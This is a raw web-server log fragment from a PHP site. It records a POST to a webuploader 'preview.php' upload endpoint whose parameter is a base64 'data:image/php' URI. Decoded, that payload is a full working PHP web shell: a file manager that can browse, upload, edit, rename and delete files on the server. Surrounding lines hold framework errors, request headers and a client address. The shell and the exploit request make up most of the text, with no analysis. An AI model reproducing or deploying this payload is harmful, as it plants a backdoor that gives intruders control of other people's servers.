'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:26+08:00 ] 116.213.36.234 POST 51tianwei.com/Public/Plugin/h-ui/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.002628s] [吞吐率:380.50req/s] [内存消耗:196.84kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'Plugin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 